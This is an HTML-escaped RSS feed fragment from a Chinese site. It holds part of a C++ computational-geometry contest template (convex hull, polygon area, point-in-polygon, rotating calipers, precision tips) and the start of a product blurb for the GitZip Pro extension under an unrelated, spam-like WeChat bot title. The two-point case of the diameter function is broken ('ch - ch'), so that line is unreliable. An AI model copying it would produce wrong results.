left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; int t = k + 1;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; for (int i = n - 2; i &amp;gt;= 0; --i) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; while (k &amp;gt;= t &amp;amp;&amp;amp; sgn((ch[k-1] - ch[k-2]) ^ (pts[i] - ch[k-2])) &amp;lt;= 0)&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; k--;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ch[k++] = pts[i];&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; ch.resize(k - 1); // 最后一个点是起点，重复了，去掉&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; return ch.size();&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;2. 多边形面积&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;适用于任意简单多边形（顶点需按顺序给出，顺时针或逆时针均可，结果取绝对值）。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;cpp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;double polygon_area(const vector&amp;lt;Point&amp;gt;&amp;amp; poly) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double area = 0;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; int n = poly.size();&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; for (int i = 0; i &amp;lt; n; ++i) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int j = (i + 1) % n;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; area += (poly[i]^ poly[j]);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; return fabs(area) / 2.0;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;3. 点在多边形内判断 (射线法)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;返回 0: 外部, 1: 内部, -1: 边上。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;cpp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;int point_in_poly(Point p, const vector&amp;lt;Point&amp;gt;&amp;amp; poly) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; int n = poly.size();&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; int wn = 0; // winding number&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; for (int i = 0; i &amp;lt; n; ++i) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Point p1 = poly[i];&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Point p2 = poly[(i + 1) % n];&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // 判断是否在边上&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (Line(p1, p2).point_on_seg(p)) return -1;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // 射线法逻辑&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (sgn(p1.y - p.y) &amp;lt;= 0 &amp;amp;&amp;amp; sgn(p2.y - p.y) &amp;gt; 0) { // 向上穿过&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (sgn((p2 - p1) ^ (p - p1)) &amp;gt; 0) wn++;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } else if (sgn(p1.y - p.y) &amp;gt; 0 &amp;amp;&amp;amp; sgn(p2.y - p.y) &amp;lt;= 0) { // 向下穿过&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (sgn((p2 - p1) ^ (p - p1)) &amp;lt; 0) wn--;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; return wn != 0 ? 1 : 0;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;四、 旋转卡壳 (Rotating Calipers)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;用于求凸多边形直径（最远点对距离平方）。前提是多边形已经是凸包且点按逆时针排列。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;cpp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;double rotating_calipers_diameter_sq(const vector&amp;lt;Point&amp;gt;&amp;amp; ch) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; int n = ch.size();&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; if (n == 1) return 0;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; if (n == 2) return (ch - ch).len2();&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double res = 0;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; int q = 1;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; for (int p = 0; p &amp;lt; n; ++p) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // 寻找距离边 (ch[p], ch[p+1]) 最远的点 q&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // 当 Area(p, p+1, q+1) &amp;gt; Area(p, p+1, q) 时，q 前进&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; while (sgn(((ch[(p+1)%n] - ch[p]) ^ (ch[(q+1)%n] - ch[p])) -&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;((ch[(p+1)%n] - ch[p]) ^ (ch[q] - ch[p]))) &amp;gt; 0) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; q = (q + 1) % n;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // 更新最远点对距离 (检查 p-q 和 p+1-q)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; res = max(res, (ch[p] - ch[q]).len2());&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; res = max(res, (ch[(p+1)%n] - ch[q]).len2());&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; return res;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;五、 使用注意事项与常见坑点&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;精度陷阱‌：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;永远不要直接用 == 比较 double。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;除法前务必判断分母是否为 0（通过 sgn 判断）。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;acos 和 asin 的参数可能因误差超出 [-1, 1]，使用前需 min(1.0, max(-1.0, val)) 截断。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;共线处理‌：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;在求凸包时，如果题目要求保留共线点，修改 while 条件中的 &amp;lt;= 0 为 &amp;lt; 0。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;判断线段相交时，共线情况需要单独处理（投影重叠判断）。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;整数 vs 浮点数‌：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;如果输入坐标全是整数，且只涉及加减乘和比较（不涉及开方、三角函数），建议全程使用 long long&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;进行叉积和点积运算，避免精度误差。只有在最后求距离或角度时才转为 double。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;极角排序‌：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;atan2 较慢且有精度问题。推荐使用叉积进行比较排序。若需以某点为中心极角排序，先平移坐标系，再定义比较函数：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;cpp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;bool cmp_angle(const Point&amp;amp; a, const Point&amp;amp; b) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double crs = a ^ b;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; if (sgn(crs) != 0) return crs &amp;gt; 0;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; return a.len2() &amp;lt; b.len2(); // 同向时短的在前&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;这份模板覆盖了竞赛中 80% 以上的计算几何考点。对于更高级的内容（如半平面交、最小圆覆盖、三维几何），建议在掌握上述基础后再单独扩展。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sun, 23 Aug 2026 14:25:36 +0800</pubDate></item><item><title>微信牛牛机器人   GitZip Pro 是一款专门用于GitHub资源选择性下载的浏览器扩展</title><link>http://www.cbtwr.com/?id=10</link><description>&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;GitZip Pro 是一款专门用于GitHub资源选择性下载的浏览器扩展，无需克隆整个仓库，就能像勾选&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;文件一样精准下载单个文件夹或指定文件，大幅节省带宽和时间，以下是完整的使用指南与核心特性介绍：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;一、 核心优势&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;精准选择性下载‌：支持直接勾选GitHub仓库内的任意文件夹、文件，仅打包下载选中的内容，完全不用&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;拉取整个项目仓库，避免下载大量无关的冗余文件。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;本地打包隐私安全‌：所有选中的文件直接从GitHub API拉取，在用户本地浏览器端通过JSZip完成ZIP打&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;包，文件全程仅在GitHub和你的浏览器之间传输，不会经过第三方服务器中转，隐私性极强。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;适配复杂仓库场景‌：自动处理GitHub仓库的多级递归目录，自动控制请求并发数，遇到API限流时自动&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;重试，完美适配大体积、多层级的复杂开源仓库。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;支持私有仓库‌：可以通过自定义GitHub Token或OAuth授权的方式，访问你有权限查看的私有仓库，突&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;破公开仓库的访问限制，同时提升API调用配额上限。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;规范命名便于管理‌：支持自定义ZIP包命名规则，自动将仓库名、分支名、选中路径、下载日期组合成统&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;一规范的文件名，下载后的压缩包便于后续检索和归档。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;自定义下载体验‌：可以自主配置下载完成通知、提示音，还能设置下载完成后自动打开本地目标文件夹，&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;完全适配个人日常的工作流习惯。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;二、 详细使用步骤&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;安装扩展‌：从浏览器扩展商店安装GitZip Pro，完成基础授权配置。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;打开目标仓库‌：在浏览器中打开你需要下载指定文件夹的GitHub仓库页面。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;勾选目标内容‌：直接点击仓库页面中你想要下载的文件夹/文件前的复选框，选中需要的内容。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;触发下载‌：点击页面右下角的下载按钮，扩展会自动拉取所有选中文件，在本地完成ZIP打包后自动下载到本地。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;高级操作‌：也可以右键点击目标文件夹，选择“GitZip Download”，直接下载当前整个文件夹的全部内容。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;三、 官方资源入口&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;你可以通过以下官方渠道获取GitZip Pro：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;GitZip Pro 